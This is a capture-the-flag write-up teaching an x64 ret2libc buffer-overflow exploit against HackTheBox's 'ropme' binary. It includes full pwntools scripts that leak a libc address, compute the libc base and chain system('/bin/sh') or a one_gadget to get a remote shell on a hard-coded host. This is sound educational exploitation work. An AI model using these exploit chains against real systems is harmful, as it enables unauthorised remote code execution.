# x64 ret2libc

## Anathomy of the attack

* Take control of the rsp regiter
* Leak a libc function address and the libc version
* Use that address to calculate libc's base offset
* Call any gadgets within libc

**Notice** that the arguments are provided by the registers in the x64 architecture, **not by the stack**.

I like to work with examples, so for this explanation I'll use the **ropme** challenge from hackthebox, which is the most simple ret2libc example there could ever be, the chall is currently retired so you'll need a VIP subscription if you want to use it through this paper.

## Take control of the return address

Let's say our binary has an input field vulnerable to a **buffer overflow** in which we can overwrite address on the stack until we hit the regiters, our task would be to find the exact offset in which we start writing to rsp, so we can control the flow of the program.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-MZIR7F_JAwQlaYtqjY5%2F-MZIbkvPzR9LYtEd-RlT%2Fimage.png?alt=media\&token=6dfc9972-359e-4ecc-aaec-8cf81a8eb6b6)

In the example above I created a pattern to see where exactly I started writing to rsp,

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-MZIR7F_JAwQlaYtqjY5%2F-MZIc1q6yeV_tGs1R4y4%2Fimage.png?alt=media\&token=094827ac-a4bd-4da2-b986-38352e0b0d9f)

Then I fed the value on **rsp** to know exactly where it is overwrote, and it tells me the **offset is 72**, which means that if I send 72 A's and 8 B's the rsp will be all B's.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-MZIR7F_JAwQlaYtqjY5%2F-MZIcmXIBzMlVFnq1YtL%2Fimage.png?alt=media\&token=d8cce803-c158-4b51-8fef-8c8b2b90d451)

And there it is :)\
Now let's start developing our exploit, I'll be using the **pwntools** library for automation and organization.

## Leak a libc function address and the libc version

To leak the libc version we need to get the address of a function used by the program, so we can disassable the binary with the following command:

```
objdump -M intel -d ./ropme|less
```

And we see that a few functions were imported:

```aspnet
Disassembly of section .plt:

00000000004004d0 <.plt>:
  4004d0:       ff 35 32 0b 20 00       push   QWORD PTR [rip+0x200b32]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  4004d6:       ff 25 34 0b 20 00       jmp    QWORD PTR [rip+0x200b34]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  4004dc:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

00000000004004e0 <puts@plt>:
  4004e0:       ff 25 32 0b 20 00       jmp    QWORD PTR [rip+0x200b32]        # 601018 <puts@GLIBC_2.2.5>
  4004e6:       68 00 00 00 00          push   0x0
  4004eb:       e9 e0 ff ff ff          jmp    4004d0 <.plt>

00000000004004f0 <__libc_start_main@plt>:
  4004f0:       ff 25 2a 0b 20 00       jmp    QWORD PTR [rip+0x200b2a]        # 601020 <__libc_start_main@GLIBC_2.2.5>
  4004f6:       68 01 00 00 00          push   0x1
  4004fb:       e9 d0 ff ff ff          jmp    4004d0 <.plt>

0000000000400500 <fgets@plt>:
  400500:       ff 25 22 0b 20 00       jmp    QWORD PTR [rip+0x200b22]        # 601028 <fgets@GLIBC_2.2.5>
  400506:       68 02 00 00 00          push   0x2
  40050b:       e9 c0 ff ff ff          jmp    4004d0 <.plt>

0000000000400510 <fflush@plt>:
  400510:       ff 25 1a 0b 20 00       jmp    QWORD PTR [rip+0x200b1a]        # 601030 <fflush@GLIBC_2.2.5>
  400516:       68 03 00 00 00          push   0x3
  40051b:       e9 b0 ff ff ff          jmp    4004d0 <.plt>

```

We can leak the address of a function if we print it's value in the **GOT table**, we can call the puts function to print that address, so we need to first put the address we want in the **rdi register**, which is where our first argument goes, and then call the puts function. So our chain will look like:

```python
junk + pop_rdi + puts_got + puts_plt + main
```

Notice that we need to call main so the program flow returns to the beginning, that way we'll be able to get the output of our call to **puts()** and continue with the attack. This is important to understand, since **ASLR** is enabled on the remote instance we need to complete the attack in **only one execution**, because the addresses we leaked will be reset in the next run.

We'll need a **pop rdi** gadget, we can look for one of those with **ropper**,

```python
ropper -f ropme

[...]
0x00000000004006d3: pop rdi; ret;
[...]
```

And here is our gadet :)\
Now, let's jump to our exploit's development.

Pwntools ships already with functions to simplify that process:

```python
#!/usr/bin/env python3
from pwn import *

e = context.binary = ELF('./ropme', checksec=False)
io = remote('138.68.182.108',30467)

#context.log_level = "DEBUG"

# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']

# Junk

junk = 72*b'A'

io.recvuntil("ROP me outside, how 'about dah?\n")

# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)

io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))
```

The code above connects to the service running the vulnerable binary then forces it to print the address of the puts function by waiting for the input to be requested, then sending the chain I mentioned before.

```python
❯ ./leak.py
[+] Opening connection to 138.68.182.108 on port 30467: Done
[+] Puts address found at 0x7ff018dd3690
```

Running the script we get the address of the puts function, now we need to feed it to a database that will search for that occurrence in multiple versions of libc.

<https://libc.nullbyte.cat/?q=puts%3A0x7f5fa2da5690>

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-MZIkMZvCVIhginvEWiu%2F-MZItvqrzpwjco3zLtHo%2Fimage.png?alt=media\&token=10568e32-6415-4a1c-a861-4ba779e8e9f0)

As we know, our program's architecture is amd64, so we can ignore any other matches, leaving us with **libc6\_2.23-0ubuntu10\_amd64** and **libc6\_2.23-0ubuntu11\_amd64**, and those two end up being the exact same, so we already know what version we need to use for the gadgets in our exploit.

## Use that address to calculate libc's base address

As the addresses are reset upon finishing execution, we need to leak the address we want and calculate the offset in **every run**. So we'll just append the exploit to our previous code. The next steps we need to take are:<br>

* Subtract the offset of our function from it's address, so we get **libc's base address**.
* Add the address of any **gadgets** we want to use from libc.

The libc database we're using already provides that offset,&#x20;

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-MZIkMZvCVIhginvEWiu%2F-MZIxZk6ZBQ1QqaiBW-7%2Fimage.png?alt=media\&token=2b0fe06a-757b-437d-92fd-882f2a93569f)

Let's say we want to call **system("/bin/sh")**, then we'll need to put the address of a **string** with the value of **"/bin/sh\x00**" in the **rdi** register and then call the **system()** function, according to the database, those addresses are, respectively, libc's base address + `0x18cd57` (offset of the string), and libc's base address + `0x045390` (offset of system()), so our next chain will look like:

```python
junk + pop_rdi + str_bin_sh + system
```

appending that chain to our exploit code,

```python
#!/usr/bin/env python3
from pwn import *

e = context.binary = ELF('./ropme', checksec=False)
libc = ELF('./libc.so', checksec=False)
#io = process(e.path)
io = remote('138.68.182.108',30467)

#context.log_level = "DEBUG"

# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']

# Junk

junk = 72*b'A'

io.recvuntil("ROP me outside, how 'about dah?\n")

# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)

io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))

libc_base = libc.address = leak - 0x06f690
log.success('Libc address found at ' + hex(libc_base))

# Final ROP

system = libc_base + 0x045390 # system()
bin_sh = libc_base + 0x18cd57 - 64 # /bin/sh

payload = junk
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

io.recvuntil("ROP me outside, how 'about dah?\n")
io.sendline(payload)
io.interactive()

```

An this will pop us a shell!\
**Please notice**, some times the **/bin/sh address is a little bit off** and you'll get something like: "**%s%s\[...]%s%s No such file or directory"**, this means you're 64 bytes ahead from where you should be, all you need to do is **subtract 64 from your bin\_sh address**.

\
Also there are other ways of doing this without system(), there is something called **one gadget**, that is, basically, any address on libc that pops a shell just for being called, for example, one that contains **execve("/bin/sh")**. Running the **one\_gadget** command against the libc we downloaded from the database we found a few offsets:

```python
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

```

So replacing our chain with:

```python
junk + one_gadget
```

We'll also get a shell, \
And here is the final exploit code:

```python
#!/usr/bin/env python3
from pwn import *

e = context.binary = ELF('./ropme', checksec=False)
libc = ELF('./libc.so', checksec=False)
#io = process(e.path)
io = remote('138.68.182.108',30467)

# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']

junk = 72*b'A'

io.recvuntil("ROP me outside, how 'about dah?\n")

# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)

io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))

libc_base = libc.address = leak - 0x06f690
log.success('Libc address found at ' + hex(libc_base))

# Final ROP
system = libc_base + 0x045390 # system()
bin_sh = libc_base + 0x18cd57 - 64 # /bin/sh

one_gadget = libc_base + 0x45216 #execve("/bin/sh", rsp+0x30, environ)

payload = junk
payload += p64(one_gadget)

io.recvuntil("ROP me outside, how 'about dah?\n")
io.sendline(payload)
io.interactive()
```

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-MZJ4Mrzj7jymQF258TX%2F-MZJ4jghgFH2r4_7OyuN%2Fimage.png?alt=media\&token=6889ac8b-3a0d-4d83-b813-6fd94bde467e)

Simple enough.\
Thanks to everyone that followed along to this point, I hope everyone is enjoying the content!
